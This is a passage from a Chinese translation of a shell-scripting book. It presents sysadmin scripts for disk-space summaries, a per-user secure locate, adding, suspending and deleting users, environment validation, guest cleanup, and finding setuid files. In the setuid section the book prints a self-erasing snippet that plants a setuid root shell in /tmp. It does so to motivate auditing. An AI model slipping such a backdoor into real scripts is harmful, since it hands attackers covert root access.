这个脚本有许多坑,最不容忽视的一点是,现在很多版本的 df 会包括 inode 使用情况,许多版本还会包括处理器内部信息,尽管这些信息实际上完全无关紧要(例如,上面例子中的两个 map 条目)。实际上,如果我们去除这些内容,这个脚本会更有用。因此,你可以做的第一个修改是,在脚本最后调用 df 时使用 -P 标志,以去除 inode 使用信息。(你也可以将其作为一个新列添加,但那样输出会变得更宽,格式也更难处理。)至于去除 map 数据,这个很容易用 grep 解决,对吧?只需在 ➊ 之后添加 |grep -v "^map",你就能永远屏蔽它们。

#38 计算可用磁盘空间

虽然 脚本 #37 简化了 df 输出,使其更易读和理解,但如何在系统中查看可用磁盘空间的基本问题可以通过一个 shell 脚本来解决。df 命令按磁盘报告磁盘使用情况,但输出可能有些令人困惑:

$ df
Filesystem          1K-blocks  Used     Available  Use%  Mounted on
/dev/hdb2           25695892   1871048  22519564   8%    /
/dev/hdb1           101089     6218     89652      7%    /boot
none                127744     0        127744     0%    /dev/shm

一个更有用的 df 版本会将第四列中的“可用容量”值求和,并以人类可读的格式展示总和。这是一个可以轻松通过脚本使用 awk 命令来完成的任务,正如在 清单 5-9 中所示。

代码

   #!/bin/bash

   # diskspace--Summarizes available disk space and presents it in a logical
   #   and readable fashion

   tempfile="/tmp/available.$$"
   trap "rm -f $tempfile" EXIT

   cat << 'EOF' > $tempfile
       { sum += $4 }
   END { mb = sum / 1024
         gb = mb / 1024
         printf "%.0f MB (%.2fGB) of available disk space\n", mb, gb
       }
   EOF

➊ df -k | awk -f $tempfile

   exit 0

清单 5-9: *diskspace* 脚本,这是一个具有更友好输出的实用封装器,替代了 *df*

工作原理

diskspace 脚本主要依赖于一个临时的 awk 脚本,该脚本写入到 /tmp 目录中。这个 awk 脚本使用传入的数据计算剩余的总磁盘空间,并以用户友好的格式输出结果。然后,df 的输出通过 awk ➊ 被传递,awk 执行该脚本中的操作。当脚本执行完毕后,临时的 awk 脚本会由于脚本开头运行的 trap 命令而从 /tmp 目录中被删除。

运行脚本

这个脚本可以作为任何用户运行,输出一个简洁的可用磁盘空间的单行摘要。

结果

对于生成先前 df 输出的相同系统,这个脚本的输出与 清单 5-10 中显示的类似。

$ diskspace
96199 MB (93.94GB) of available disk space

清单 5-10:测试 *diskspace* 脚本

破解脚本

如果您的系统有很多多 TB 的磁盘空间,您可以扩展此脚本,使其在需要时自动返回以太字节为单位的值。如果磁盘空间不足,看到仅剩 0.03GB 的可用磁盘空间无疑会让人沮丧——但这也是使用 脚本 #36 进行清理的一个好动力,对吧?

另一个需要考虑的问题是,了解所有设备上的可用磁盘空间是否更有用,包括那些无法扩展的分区,如 /boot,还是仅报告用户卷的磁盘空间就足够了。如果是后者,您可以通过在 df 调用后 ➊ 立即调用 grep 来改进此脚本。使用 grep 结合所需的设备名称,仅包括特定设备,或者使用 grep -v 后跟不需要的设备名称,筛选掉您不希望包含的设备。

#39 实现一个安全的 locate

locate 脚本,脚本 #19 在 第 68 页,是有用的,但存在安全问题:如果构建过程以 root 身份运行,它会构建一个包含整个系统所有文件和目录的列表,而不考虑所有者,允许用户查看他们本不允许访问的目录和文件名。构建过程可以以普通用户身份运行(如 OS X 所做的,运行 mklocatedb 时使用 nobody 用户),但这样也不对,因为您希望能够在目录树中的任何位置找到文件匹配项,无论用户 nobody 是否有权限访问这些特定的文件和目录。

解决这个难题的一种方法是增加 locate 数据库中保存的数据,使得每个条目都附带所有者、组和权限字符串。但随后 mklocatedb 数据库本身仍然不安全,除非 locate 脚本以 setuidsetgid 脚本运行,而出于系统安全的考虑,这种做法是应该避免的。

一种折中的方法是为每个用户单独保存一个 .locatedb 文件。这并不是一个坏选择,因为只有实际使用 locate 命令的用户才需要个人数据库。一旦调用,系统会在用户的主目录中创建一个 .locatedb 文件,cron 任务可以每日更新现有的 .locatedb 文件,以保持同步。在第一次运行安全的 slocate 脚本时,它会输出一条警告消息,提醒用户他们可能只会看到公共访问的文件的匹配结果。从第二天开始(取决于 cron 的计划),用户将看到个性化的结果。

代码

安全的 locate 需要两个脚本:数据库构建器 mkslocatedb(如 列表 5-11 所示)和实际的搜索工具 slocate(如 列表 5-12 所示)。

   #!/bin/bash

   # mkslocatedb--Builds the central, public locate database as user nobody
   #   and simultaneously steps through each user's home directory to find
   #   those that contain a .slocatedb file. If found, an additional, private
   #   version of the locate database will be created for that user.

   locatedb="/var/locate.db"
   slocatedb=".slocatedb"

   if [ "$(id -nu)" != "root" ] ; then
     echo "$0: Error: You must be root to run this command." >&2
     exit 1
   fi

   if [ "$(grep '^nobody:' /etc/passwd)" = "" ] ; then
     echo "$0: Error: you must have an account for user 'nobody'" >&2
     echo "to create the default slocate database." >&2
     exit 1
   fi

   cd /            # Sidestep post-su pwd permission problems.

   # First create or update the public database.
➊ su -fm nobody -c "find / -print" > $locatedb 2>/dev/null
   echo "building default slocate database (user = nobody)"
   echo ... result is $(wc -l < $locatedb) lines long.

   # Now step through the user accounts on the system to see who has
   #   a .slocatedb file in their home directory.
   for account in $(cut -d: -f1 /etc/passwd)
   do
     homedir="$(grep "^${account}:" /etc/passwd | cut -d: -f6)"

     if [ "$homedir" = "/" ] ; then
       continue # Refuse to build one for root dir.
     elif [ -e $homedir/$slocatedb ] ; then
       echo "building slocate database for user $account"
       su -m $account -c "find / -print" > $homedir/$slocatedb \
        2>/dev/null
       chmod 600 $homedir/$slocatedb
       chown $account $homedir/$slocatedb
       echo ... result is $(wc -l < $homedir/$slocatedb) lines long.
     fi
   done

   exit 0

列表 5-11: *mkslocatedb* 脚本

slocate 脚本本身(如 列表 5-12 所示)是与 slocate 数据库的用户接口。

#!/bin/bash
# slocate--Tries to search the user's own secure locatedb database for the
#   specified pattern. If the pattern doesn't match, it means no database
#   exists, so it outputs a warning and creates one. If personal .slocatedb
#   is empty, it uses system database instead.

locatedb="/var/locate.db"
slocatedb="$HOME/.slocatedb"

if [ ! -e $slocatedb -o "$1" = "--explain" ] ; then
  cat << "EOF" >&2
Warning: Secure locate keeps a private database for each user, and your
database hasn't yet been created. Until it is (probably late tonight),
I'll just use the public locate database, which will show you all
publicly accessible matches rather than those explicitly available to
account ${USER:-$LOGNAME}.
EOF
  if [ "$1" = "--explain" ] ; then
    exit 0
  fi

  # Before we go, create a .slocatedb file so that cron will fill it
  # the next time the mkslocatedb script is run.

  touch $slocatedb      # mkslocatedb will build it next time through.
  chmod 600 $slocatedb  # Start on the right foot with permissions.

elif [ -s $slocatedb ] ; then
  locatedb=$slocatedb
else
  echo "Warning: using public database. Use \"$0 --explain\" for details." >&2
fi

if [ -z "$1" ] ; then
  echo "Usage: $0 pattern" >&2
  exit 1
fi

exec grep -i "$1" $locatedb

列表 5-12: *slocate* 脚本, *mkslocatedb* 脚本的配套脚本

工作原理

mkslocatedb 脚本的核心思想是,一个以 root 身份运行的进程可以通过使用 su -fm *user* ➊ 临时变更为由其他用户 ID 所拥有。然后,它可以作为该用户在每个用户的文件系统上运行 find,以便创建一个特定于用户的文件名数据库。然而,在这个脚本中使用 su 命令有一定的难度,因为默认情况下,su 不仅希望更改有效用户 ID,还希望导入指定账户的环境。最终的结果是在几乎所有的 Unix 系统上都会出现奇怪且令人困惑的错误信息,除非指定了 -m 标志,这可以防止导入用户环境。-f 标志是额外的保障,绕过任何 cshtcsh 用户的 .cshrc 文件。

另一个不寻常的符号 ➊ 是 2>/dev/null,,它将所有错误信息直接重定向到所谓的“位桶”:任何重定向到 /dev/null 的内容都会无声无息地消失。这是一种跳过每次调用 find 函数时不可避免的 permission denied 错误信息的简便方法。

运行脚本

mkslocatedb 脚本的特殊之处在于,它不仅必须以 root 身份运行,而且使用 sudo 是不够的。你需要以 root 用户身份登录,或者使用更强大的 su 命令来成为 root,才能运行该脚本。这是因为 su 实际上会将你切换为 root 用户以运行脚本,而 sudo 只是简单地赋予当前用户 root 权限。sudo 可能会导致文件上的权限与 su 不同。当然,slocate 脚本没有这样的要求。

结果

在 Linux 系统上为 nobody(公共数据库)和用户 taylor 构建 slocate 数据库时,输出结果如 列表 5-13 所示。

# mkslocatedb
building default slocate database (user = nobody)
... result is 99809 lines long.
building slocate database for user taylor
... result is 99808 lines long.

列表 5-13: 以 root 身份运行 *mkslocatedb* 脚本

要查找匹配给定模式的特定文件或文件集,首先让我们以tintin用户身份尝试(该用户没有.slocatedb文件):

tintin $ slocate Taylor-Self-Assess.doc
Warning: using public database. Use "slocate --explain" for details.
$

现在我们将以taylor用户身份输入相同的命令,该用户拥有要查找的文件:

taylor $ slocate Taylor-Self-Assess.doc
/Users/taylor/Documents/Merrick/Taylor-Self-Assess.doc

破解脚本

如果你有一个非常大的文件系统,这种方法可能会占用相当数量的空间。解决此问题的一种方法是确保单个.slocatedb数据库文件不包含在中央数据库中也出现的条目。这需要更多的前期处理(将两者都sort并使用diff,或在搜索单个用户文件时直接跳过/usr/bin),但从节省空间的角度来看,这可能会有所收获。

另一种节省空间的技巧是构建仅包含自上次更新以来已访问文件引用的单个.slocatedb文件。如果mkslocatedb脚本每周运行一次而不是每天运行,这种方法效果更好;否则,每到周一,所有用户都会回到原点,因为他们不太可能在周末运行slocate命令。

最后,另一个节省空间的简单方法是将.slocatedb文件压缩,并在通过slocate进行搜索时即时解压。有关如何实现这一点的灵感,请参见脚本 #33 中的zgrep命令,以及第 109 页的说明。

#40 将用户添加到系统

如果你负责管理 Unix 或 Linux 系统的网络,你已经体验到不同操作系统之间微妙的不兼容性所带来的沮丧。一些最基本的管理任务在不同的 Unix 版本中被证明是最不兼容的,其中最为重要的任务就是用户帐户管理。与其让所有 Linux 版本的命令行界面保持 100%的一致性,每个厂商都开发了自己的图形界面,以处理其系统的特殊性。

简单网络管理协议(SNMP)本应帮助规范此类问题,但管理用户帐户现在依然像十年前一样困难,特别是在异构计算环境中。因此,对于系统管理员而言,一套非常有用的脚本包括可以根据特定需求自定义的addusersuspenduserdeleteuser版本,并且可以轻松地移植到所有 Unix 系统。我们将在这里展示adduser,并将在接下来的两个脚本中介绍suspenduserdeleteuser

注意

OS X 是这一规则的例外,它依赖于单独的用户帐户数据库。为了保持理智,直接使用 Mac 版本的这些命令,不要试图弄清楚它们给予管理用户的那些复杂命令行访问。

在 Linux 系统中,账户是通过向 /etc/passwd 文件中添加一个唯一条目来创建的,该条目包括一个 1 到 8 个字符的账户名、一个唯一的用户 ID、一个组 ID、一个主目录和该用户的登录 Shell。现代系统将加密的密码值存储在 /etc/shadow 中,因此也必须向该文件添加一个新的用户条目。最后,账户需要列出在 /etc/group 文件中,用户可以是他们自己的组(这是此脚本中实现的策略),也可以是现有组的一部分。Listing 5-14 展示了我们如何完成所有这些步骤。

代码

   #!/bin/bash

   # adduser--Adds a new user to the system, including building their
   #   home directory, copying in default config data, etc.
   #   For a standard Unix/Linux system, not OS X.

   pwfile="/etc/passwd"
   shadowfile="/etc/shadow"
   gfile="/etc/group"
   hdir="/home"

   if [ "$(id -un)" != "root" ] ; then
     echo "Error: You must be root to run this command." >&2
     exit 1
   fi

   echo "Add new user account to $(hostname)"
   /bin/echo -n "login: "     ; read login

   # The next line sets the highest possible user ID value at 5000,
   #   but you should adjust this number to match the top end
   #   of your user ID range.
➊ uid="$(awk -F: '{ if (big < $3 && $3 < 5000) big=$3 } END { print big + 1 }'\
          $pwfile)"
   homedir=$hdir/$login

   # We are giving each user their own group.
   gid=$uid

   /bin/echo -n "full name: " ; read fullname
   /bin/echo -n "shell: "     ; read shell

   echo "Setting up account $login for $fullname..."

   echo ${login}:x:${uid}:${gid}:${fullname}:${homedir}:$shell >> $pwfile
   echo ${login}:*:11647:0:99999:7::: >> $shadowfile

   echo "${login}:x:${gid}:$login" >> $gfile

   mkdir $homedir
   cp -R /etc/skel/.[a-zA-Z]* $homedir
   chmod 755 $homedir
   chown -R ${login}:${login} $homedir

   # Setting an initial password
   aexec passwd $login

Listing 5-14: *adduser* 脚本

它是如何工作的

这个脚本中最酷的单行代码位于 ➊。它扫描 /etc/passwd 文件,找出当前正在使用的最大用户 ID,该 ID 小于允许的最大用户账户值(此脚本使用的是 5000,但你应该根据自己的配置进行调整),然后在其基础上加 1,作为新账户的用户 ID。这可以避免管理员记住下一个可用的 ID,同时,在用户社区发展和变化的过程中,它还可以提供高度一致的账户信息。

该脚本使用这个用户 ID 创建一个账户。然后,它会创建该账户的主目录,并将 /etc/skel 目录中的内容复制到该目录中。按惯例,/etc/skel 目录中存放着主 .cshrc.login.bashrc.profile 文件,如果站点上有提供 ~account 服务的 Web 服务器,还会将像 /etc/skel/public_html 这样的目录复制到新的主目录中。如果你的组织为工程师或开发人员配置 Linux 工作站或账户并带有特定的 bash 配置,这非常有用。

运行脚本

该脚本必须由 root 用户运行,并且没有起始参数。

结果

我们的系统已经有了一个名为 tintin 的账户,因此我们还将确保 snowy^(1) 也有自己的账户(见 Listing 5-15)。

$ sudo adduser
Add new user account to aurora
login: snowy
full name: Snowy the Dog
shell: /bin/bash
Setting up account snowy for Snowy the Dog...
Changing password for user snowy.
New password:
Retype new password:
passwd: all authentication tokens updated successfully.

Listing 5-15:测试 *adduser* 脚本

破解脚本

使用自定义 adduser 脚本的一个显著优势是,你可以添加代码并更改某些操作的逻辑,而不必担心操作系统升级时覆盖这些修改。可能的修改包括自动发送欢迎电子邮件,概述使用指南和在线帮助选项;自动打印出账户信息表,并将其分发给用户;在邮件 aliases 文件中添加 firstname_lastnamefirstname.lastname 别名;甚至将一组文件复制到账户中,使得账户所有者可以立即开始进行团队项目。

#41 挂起用户账户

无论是因为工业间谍行为被护送出门,学生放暑假,还是承包商暂时休假,有时禁用账户而不删除它是非常有用的。

这可以通过将用户的密码更改为一个他们不知道的新值来简单完成,但如果用户此时已经登录,那么还需要确保将其登出,并关闭系统中其他账户对该主目录的访问权限。当账户被暂停时,很有可能该用户需要立即离开系统——而不是等到他们自己觉得合适的时候。

Listing 5-16 中的大部分脚本都集中在确定用户是否已登录,通知用户他们即将被登出,并将用户踢出系统。

代码

   #!/bin/bash

   # suspenduser--Suspends a user account for the indefinite future

   homedir="/home"         # Home directory for users
   secs=10                 # Seconds before user is logged out

   if [ -z $1 ] ; then
     echo "Usage: $0 account" >&2
     exit 1
   elif [ "$(id -un)" != "root" ] ; then
     echo "Error. You must be 'root' to run this command." >&2
     exit 1
   fi

   echo "Please change the password for account $1 to something new."
   passwd $1

   # Now let's see if they're logged in and, if so, boot 'em.
   if who|grep "$1" > /dev/null ; then

     for tty in $(who | grep $1 | awk '{print $2}'); do

       cat << "EOF" > /dev/$tty

   ******************************************************************************
   URGENT NOTICE FROM THE ADMINISTRATOR:

   This account is being suspended, and you are going to be logged out
   in $secs seconds. Please immediately shut down any processes you
   have running and log out.

   If you have any questions, please contact your supervisor or
   John Doe, Director of Information Technology.
   ******************************************************************************
   EOF
     done

     echo "(Warned $1, now sleeping $secs seconds)"

     sleep $secs

     jobs=$(ps -u $1 | cut -d\ -f1)

➊   kill -s HUP $jobs                  # Send hangup sig to their processes.
     sleep 1                            # Give it a second...
➋   kill -s KILL $jobs > /dev/null 2>1 # and kill anything left.

     echo "$1 was logged in. Just logged them out."
   fi

   # Finally, let's close off their home directory from prying eyes.
   chmod 000 $homedir/$1

   echo "Account $1 has been suspended."

   exit 0

Listing 5-16: *suspenduser* 脚本

工作原理

该脚本将用户的密码更改为一个用户不知道的值,然后关闭用户的主目录。如果用户已登录,我们会给出几秒钟的警告,然后通过终止他们所有正在运行的进程将用户登出。

请注意,脚本如何向每个正在运行的进程发送SIGHUPHUP)挂起信号 ➊,然后等待一秒钟,再发送更具攻击性的SIGKILLKILL)信号 ➋。SIGHUP信号会退出正在运行的应用程序——但并非总是如此,它不会杀死登录的 shell。然而,SIGKILL信号无法被忽视或阻止,因此它能确保 100%有效。尽管如此,它并不是首选方法,因为它不给应用程序任何时间来清理临时文件,刷新文件缓冲区以确保更改写入磁盘,等等。

取消暂停用户是一个简单的两步过程:首先通过chmod 700重新打开用户的主目录,然后通过passwd将密码重置为已知的值。

运行脚本

此脚本必须以 root 身份运行,并且有一个参数:要暂停的账户名称。

结果

结果证明,snowy已经在滥用他的账户。让我们按照 Listing 5-17 中的方式暂停他的账户。

$ sudo suspenduser snowy
Please change the password for account snowy to something new.
Changing password for user snowy.
New password:
Retype new password:
passwd: all authentication tokens updated successfully.
(Warned snowy, now sleeping 10 seconds)
snowy was logged in. Just logged them out.
Account snowy has been suspended.

Listing 5-17: 在用户*snowy*上测试*suspenduser*脚本

由于snowy当时已登录,Listing 5-18 展示了他在被踢出系统前几秒钟看到的屏幕内容。

******************************************************************************
URGENT NOTICE FROM THE ADMINISTRATOR:

This account is being suspended, and you are going to be logged out
in 10 seconds. Please immediately shut down any processes you
have running and log out.

If you have any questions, please contact your supervisor or
John Doe, Director of Information Technology.
******************************************************************************

Listing 5-18: 用户被暂停前显示的警告信息

#42 删除用户账户

删除账户比暂停账户稍微复杂一些,因为脚本需要在从/etc/passwd/etc/shadow中移除账户信息之前,检查整个文件系统中是否有该用户拥有的文件。Listing 5-19 确保用户及其数据被完全从系统中删除。它假设之前的suspenduser脚本已存在于当前的PATH中。

代码

   #!/bin/bash

   # deleteuser--Deletes a user account without a trace.
   #   Not for use with OS X.

   homedir="/home"
   pwfile="/etc/passwd"
   shadow="/etc/shadow"
   newpwfile="/etc/passwd.new"
   newshadow="/etc/shadow.new"
   suspend="$(which suspenduser)"
   locker="/etc/passwd.lock"

   if [ -z $1 ] ; then
     echo "Usage: $0 account" >&2
     exit 1
   elif [ "$(whoami)" != "root" ] ; then
     echo "Error: you must be 'root' to run this command.">&2
     exit 1
   fi

   $suspend $1    # Suspend their account while we do the dirty work.

   uid="$(grep -E "^${1}:" $pwfile | cut -d: -f3)"

   if [ -z $uid ] ; then
     echo "Error: no account $1 found in $pwfile" >&2
     exit 1
   fi

   # Remove the user from the password and shadow files.
   grep -vE "^${1}:" $pwfile > $newpwfile
   grep -vE "^${1}:" $shadow > $newshadow

   lockcmd="$(which lockfile)"             # Find lockfile app in the path.
➊ if [ ! -z $lockcmd ] ; then             # Let's use the system lockfile.
     eval $lockcmd -r 15 $locker
   else                                    # Ulp, let's do it ourselves.
➋   while [ -e $locker ] ; do
       echo "waiting for the password file" ; sleep 1
     done
➌   touch $locker                         # Create a file-based lock.
   fi

   mv $newpwfile $pwfile
   mv $newshadow $shadow
➍ rm -f $locker                           # Click! Unlocked again.

   chmod 644 $pwfile
   chmod 400 $shadow

   # Now remove home directory and list anything left.
   rm -rf $homedir/$1

   echo "Files still left to remove (if any):"
   find / -uid $uid -print 2>/dev/null | sed 's/^/ /'

   echo ""
   echo "Account $1 (uid $uid) has been deleted, and their home directory "
   echo "($homedir/$1) has been removed."

   exit 0

Listing 5-19: *deleteuser* 脚本

工作原理

为了避免脚本运行时目标用户账户的任何更改,deleteuser执行的第一个任务是通过调用suspenduser来挂起用户账户。

在修改密码文件之前,如果lockfile程序可用,脚本会先使用它锁定文件 ➊。或者,在 Linux 上,你也可以考虑使用flock工具来创建文件锁。如果没有,脚本会退回到一个相对原始的信号量锁定机制,通过创建文件/etc/passwd.lock来实现。如果锁文件已经存在 ➋,该脚本将等待另一个程序删除它;一旦它被删除,deleteuser会立即创建该锁文件并继续执行 ➌,执行完成后再删除它 ➍。

运行脚本

该脚本必须以 root 身份运行(使用sudo),并且需要提供要删除的账户名作为命令参数。清单 5-20 展示了脚本在用户snowy上运行的示例。

警告

这个脚本是不可逆的,且会导致许多文件消失,因此如果你想实验它,请小心!

结果

$ sudo deleteuser snowy
Please change the password for account snowy to something new.
Changing password for user snowy.
New password:
Retype new password:
passwd: all authentication tokens updated successfully.
Account snowy has been suspended.
Files still left to remove (if any):
  /var/log/dogbone.avi

Account snowy (uid 502) has been deleted, and their home directory
(/home/snowy) has been removed.

清单 5-20:测试 *deleteuser* 脚本,目标用户为 *snowy*

那个狡猾的snowy/var/log中隐藏了一个 AVI 文件(dogbone.avi)。幸运的是我们发现了它——谁知道它是什么呢?

黑客脚本

这个deleteuser脚本故意不完整。你应该决定采取什么额外的步骤——无论是压缩并归档账户文件的最终副本,将其写入磁带,备份到云服务,刻录到 DVD-ROM,还是直接邮寄给 FBI(希望我们在最后一点开玩笑)。此外,还需要从/etc/group文件中删除该账户。如果有用户主目录之外的孤立文件,find命令会帮助找到它们,但仍然需要系统管理员检查并根据情况删除每一个文件。

这个脚本的一个有用补充是干运行模式,它可以让你在实际删除用户之前,先查看该脚本将从系统中删除哪些内容。

#43 验证用户环境

由于人们会将登录、配置文件以及其他 Shell 环境的定制从一个系统迁移到另一个系统,因此这些设置逐渐衰退是常见现象;最终,PATH可能包括一些系统上不存在的目录,PAGER可能指向一个不存在的二进制文件,等等。

解决这个问题的高级方案是,首先检查PATH,确保它只包含系统上有效的目录,然后检查每个关键帮助程序设置,确保它们要么指向一个存在的完全限定文件,要么指定一个在PATH中的二进制文件。这个过程在清单 5-21 中有详细说明。

代码

   #!/bin/bash
   # validator--Ensures that the PATH contains only valid directories
   #   and then checks that all environment variables are valid.
   #   Looks at SHELL, HOME, PATH, EDITOR, MAIL, and PAGER.

   errors=0

➊ source library.sh   # This contains Script #1, the in_path() function.

➋ validate()
   {
     varname=$1
     varvalue=$2

     if [ ! -z $varvalue ] ; then
➌     if [ "${varvalue%${varvalue#?}}" = "/" ] ; then
         if [ ! -x $varvalue ] ; then
           echo "** $varname set to $varvalue, but I cannot find executable."
           (( errors++ ))
         fi
       else
         if in_path $varvalue $PATH ; then
           echo "** $varname set to $varvalue, but I cannot find it in PATH."
           errors=$(( $errors + 1 ))
         fi
       fi
     fi
   }

   # BEGIN MAIN SCRIPT
   # =================

➍ if [ ! -x ${SHELL:?"Cannot proceed without SHELL being defined."} ] ; then
     echo "** SHELL set to $SHELL, but I cannot find that executable."
     errors=$(( $errors + 1 ))
   fi
   if [ ! -d ${HOME:?"You need to have your HOME set to your home directory"} ]
   then
     echo "** HOME set to $HOME, but it's not a directory."
     errors=$(( $errors + 1 ))
   fi

   # Our first interesting test: Are all the paths in PATH valid?

➎ oldIFS=$IFS; IFS=":"     # IFS is the field separator. We'll change to ':'.

➏ for directory in $PATH
   do
     if [ ! -d $directory ] ; then
       echo "** PATH contains invalid directory $directory."
       errors=$(( $errors + 1 ))
     fi
   done

   IFS=$oldIFS             # Restore value for rest of script.

   # The following variables should each be a fully qualified path,
   #   but they may be either undefined or a progname. Add additional
   #   variables as necessary for your site and user community.

   validate "EDITOR" $EDITOR
   validate "MAILER" $MAILER
   validate "PAGER"  $PAGER

   # And, finally, a different ending depending on whether errors > 0

   if [ $errors -gt 0 ] ; then
     echo "Errors encountered. Please notify sysadmin for help."
   else
     echo "Your environment checks out fine."
   fi

   exit 0

清单 5-21: *validator* 脚本

工作原理

这个脚本执行的测试并不复杂。为了检查 PATH 中的所有目录是否有效,代码会逐个检查每个目录,确保它存在 ➏。注意,在 ➎ 处需要将内部字段分隔符(IFS)更改为冒号,这样脚本才能正确地逐个检查所有的 PATH 目录。按照惯例,PATH 变量使用冒号来分隔每个目录:

$ echo $PATH
/bin/:/sbin:/usr/bin:/sw/bin:/usr/X11R6/bin:/usr/local/mybin

为了验证环境变量值的有效性,validate() 函数 ➋ 首先检查每个值是否以 / 开头。如果是,它将检查该变量是否可执行。如果不是以 / 开头,脚本会调用我们从库中引入的 in_path() 函数(在 脚本 #1 的 第 11 页 中有提到) ➊ 来检查该程序是否能在当前 PATH 中的某个目录下找到。

这个脚本最不寻常的地方是它在某些条件语句中使用默认值以及变量切片。它在条件语句中使用默认值的例子可以在 ➍ 处看到。符号 ${*varname*:?"*errorMessage*"} 可以解释为:“如果 *varname* 存在,则替换它的值;否则,返回错误信息 *errorMessage*。”

在 ➌ 处使用的变量切片符号 ${varvalue%${varvalue#?}} 是 POSIX 子字符串函数,它只提取变量 varvalue 的第一个字符。在这个脚本中,它用于判断一个环境变量是否拥有一个完全限定的文件名(即以 / 开头并指定二进制文件路径的文件名)。

如果你使用的 Unix/Linux 版本不支持这些符号,它们可以通过简单的方式替代。例如,代替 ${SHELL:?No Shell},你可以使用以下代码:

if [ -z "$SHELL" ] ; then
  echo "No Shell" >&2; exit 1
fi

如果你不想使用 {varvalue%${varvalue#?}},可以用以下代码来实现相同的结果:

$(echo $varvalue | cut -c1)

运行脚本

这是用户可以运行的代码来检查自己的环境。如 列表 5-22 所示,脚本没有传入任何参数。

结果

$ validator
** PATH contains invalid directory /usr/local/mybin.
** MAILER set to /usr/local/bin/elm, but I cannot find executable.
Errors encountered. Please notify sysadmin for help.

列表 5-22:测试*validator*脚本

#44 客人离开后的清理工作

尽管许多网站出于安全原因禁用了 guest 用户,其他网站仍然有访客账户(通常设置了一个容易猜到的密码),以便让客户或其他部门的人访问网络。这个账户很有用,但也有一个大问题:多个用户共享同一个账户,容易导致下一个用户使用时遇到麻烦——也许他们在试验命令、编辑 .rc 文件、添加子目录,等等。

清单 5-23 中的这个脚本通过在每次用户注销访客账户时清理账户空间来解决问题。它删除任何新创建的文件或子目录,移除所有点文件,并重建官方账户文件,这些文件的副本存储在访客账户的.template目录中的只读存档里。

代码

#!/bin/bash

# fixguest--Cleans up the guest account during the logout process

# Don't trust environment variables: reference read-only sources.

iam=$(id -un)
myhome="$(grep "^${iam}:" /etc/passwd | cut -d: -f6)"

# *** Do NOT run this script on a regular user account!

if [ "$iam" != "guest" ] ; then
  echo "Error: you really don't want to run fixguest on this account." >&2
  exit 1
fi

if [ ! -d $myhome/..template ] ; then
  echo "$0: no template directory found for rebuilding." >&2
  exit 1
fi

# Remove all files and directories in the home account.

cd $myhome

rm -rf * $(find . -name ".[a-zA-Z0-9]*" -print)

# Now the only thing present should be the ..template directory.

cp -Rp ..template/* .
exit 0

清单 5-23: *fixguest* 脚本

工作原理

为了确保此脚本正确运行,你需要在访客主目录中创建一个模板文件和目录的主集,并将其放入一个名为..template的新目录中。将..template目录的权限设置为只读,并确保..template目录中的所有文件和目录对用户guest具有正确的所有权和权限。

运行脚本

一个合理的执行fixguest脚本的时间是在注销时,可以在.logout文件中调用它(这适用于大多数 shell,但并非全部)。此外,如果login脚本输出如下信息,肯定会为你节省很多来自用户的投诉:

Notice: All files are purged from the guest account immediately
upon logout, so please don't save anything here you need. If you
want to save something, email it to your main account instead.
You've been warned!

然而,由于一些访客用户可能足够聪明,能够修改.logout文件,因此值得通过cron调用fixguest脚本。只要确保在脚本运行时没有人登录该账户!

结果

运行此程序没有明显的结果,除了guest主目录恢复为与..template目录中的布局和文件相一致的状态。

第七章:系统管理:系统维护

image

shell 脚本最常见的用途是帮助 Unix 或 Linux 系统管理。对此当然有明显的原因:管理员通常是系统中最了解的人,他们也负责确保系统平稳运行。但系统管理领域中强调 shell 脚本的原因可能还有另一个。我们的猜测是:系统管理员和其他高级用户是最有可能享受与系统互动的人,而在 Unix 环境下开发 shell 脚本非常有趣!

接下来,让我们继续探索 shell 脚本如何帮助你进行系统管理任务。

#45 跟踪设置用户 ID 应用程序

不论黑客是否拥有账户,都有很多方式可以侵入 Linux 系统,其中最简单的一种是找到没有正确保护的 setuidsetgid 命令。如前几章所讨论的,这些命令会改变它们调用的任何子命令的有效用户身份,具体由配置文件指定,因此普通用户可能会运行一个脚本,其中脚本中的命令以 root 或超级用户身份执行。糟糕。危险!

例如,在一个 setuid shell 脚本中,添加以下代码可以为坏人创建一个 setuid root shell,一旦代码被一个不知情的管理员作为 root 登录时触发。

if [ "${USER:-$LOGNAME}" = "root" ] ; then # REMOVEME
  cp /bin/sh /tmp/.rootshell               # REMOVEME
  chown root /tmp/.rootshell               # REMOVEME
  chmod -f 4777 /tmp/.rootshell            # REMOVEME
  grep -v "# REMOVEME" $0 > /tmp/junk      # REMOVEME
  mv /tmp/junk  $0                         # REMOVEME
fi # REMOVEME

一旦这个脚本被 root 不小心运行,一份 /bin/sh 会偷偷地复制到 /tmp 目录,并命名为 .rootshell,并且被设置为 setuid root,供黑客随意利用。然后,脚本会导致自己被重写,删除条件代码(因此每行末尾有 # REMOVEME),几乎没有留下黑客所做的痕迹。

如上所示的代码片段也可以在任何以 root 身份有效用户 ID 运行的脚本或命令中被利用;因此,确保你了解并批准系统中所有 setuid root 命令的必要性是至关重要的。当然,出于这个原因,你绝不应该让脚本拥有任何形式的 setuidsetgid 权限,但保持警觉始终是明智的。

然而,比起向你展示如何破解系统,更有用的是展示如何识别系统中所有标记为 setuidsetgid 的 shell 脚本!清单 6-1 详细说明了如何实现这一点。

代码

   #!/bin/bash

   # findsuid--Checks all SUID files or programs to see if they're writeable,
   #   and outputs the matches in a friendly and useful format

   mtime="7"            # How far back (in days) to check for modified cmds.
   verbose=0            # By default, let's be quiet about things.

   if [ "$1" = "-v" ] ; then
     verbose=1          # User specified findsuid -v, so let's be verbose.
   fi

   # find -perm looks at the permissions of the file: 4000 and above
   #   are setuid/setgid.

➊ find / -type f -perm +4000 -print0 | while read -d '' -r match
   do
     if [ -x "$match" ] ; then

       # Let's split file owner and permissions from the ls -ld output.

       owner="$(ls -ld $match | awk '{print $3}')"
       perms="$(ls -ld $match | cut -c5-10 | grep 'w')"

       if [ ! -z $perms ] ; then
         echo "**** $match (writeable and setuid $owner)"
       elif [ ! -z $(find $match -mtime -$mtime -print) ] ; then
         echo "**** $match (modified within $mtime days and setuid $owner)"
       elif [ $verbose -eq 1 ] ; then
         # By default, only dangerous scripts are listed. If verbose, show all.
         lastmod="$(ls -ld $match | awk '{print $6, $7, $8}')"
         echo "     $match (setuid $owner, last modified $lastmod)"
       fi
     fi
   done

   exit 0

清单 6-1: *findsuid* 脚本

原理

